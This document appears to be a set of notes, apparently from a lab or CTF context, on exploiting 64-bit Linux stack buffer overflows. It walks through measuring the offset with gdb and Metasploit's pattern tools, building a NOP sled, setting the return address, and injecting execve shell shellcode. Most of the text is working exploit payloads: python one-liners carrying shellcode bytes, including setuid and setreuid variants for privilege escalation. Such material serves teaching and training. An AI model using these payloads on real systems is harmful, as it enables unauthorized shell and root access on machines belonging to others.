5.4 KiB
5.4 KiB
Return Address reuse
via Shellcode, an examples
-
Find out the address of the start of the buffer and the start address of the return address
-
Calculate the difference between these addresses so you know how much data to enter to overflow
-
Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address
-
Plus NOPsled (sometimes xargs is needed in front of the app call)
python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde')" | xargs ./buffer-overflow
Finding Offset
via gdb segfault output
- 64 bit addresses use 6 out of 8 byte for addresses.
gdb ./application
run $(python -c "print('\x41' * 180)")
- Return address hit completely when 6 bytes are filled.
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in copy_arg ()
- Buffer = measured_length - (
$rbp
+ 6 bytes return address)
via metasploit
/opt/metasploit/tools/exploit/pattern_create.rb -l 180
- Looking for
rbp
Content in front of the return address to measure offset
(gdb) i r
[...]
rbp 0x<rbpAddress> 0x<rbpConent>
[...]
- Measure offset
pt/metasploit/tools/exploit/pattern_offset -l 180 -q <rbpContent>
Crafting Payload
- Contains Junk/NOPslice + shellcode + Junk over rbp + return address
- Inside gdb
run $(python -c "print('A' * 100 + <shellcode> + 'A' * 12 + 'B' * 6)")
- Check actual stack
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
[...]
- Shellcode starts at
0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4
.
NopSled
- Prepend nopsled instead of
A
and pick an address inside as the future return address, for example0x7fffffffe2a8
.
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffffe248: 0xffffe64d 0x00007fff 0x90909090 0x90909090
0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x48583b6a
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
- Convert return address to little endian
0x7fffffffe2a8
->\xa8\xe2\xff\xff\xff\x7f
and put it inside the return address
run $(python -c "print('\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\xa8\xe2\xff\xff\xff\x7f')")
setuid() and setreuid()
- Shellcode needs
setuid(0)
for effective root uid or the equivalent id of the account needed. /bin/sh
checks real uid not effective uid- ./shellcodes/setuid_shell.as
setreuid() in assembler
- Linux Syscall Table
setreuid(1002,1002)
sets the real uid inside the shell to 1002.setreuid()
hasrax
number\x71
(113
dec). Args are stored inrdi
andrsi
.- ./shellcode/setreuid_shell.as
"\x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"
- Convert to hex output via Defuse
setreuid() in shellcode using pwntools
- Shellcraft builds a shellcode containing
setreuid()
, without any parameter given the real uid to the file owner.
* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
shellcraft -f d amd64.linux.setreuid
- The uid can be set as an argument
shellcraft -f d amd64.linux.setreuid <uid>
- Prepend this in front of the existing shellcode like this
run $(python -c "print('\x90' * 99 + '\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B' * 8 + '\x88\xe2\xff\xff\xff\x7f')")
* Where the existing shellcode is the following
```sh
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
```
* Setreuid part is the following
```sh
\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05
```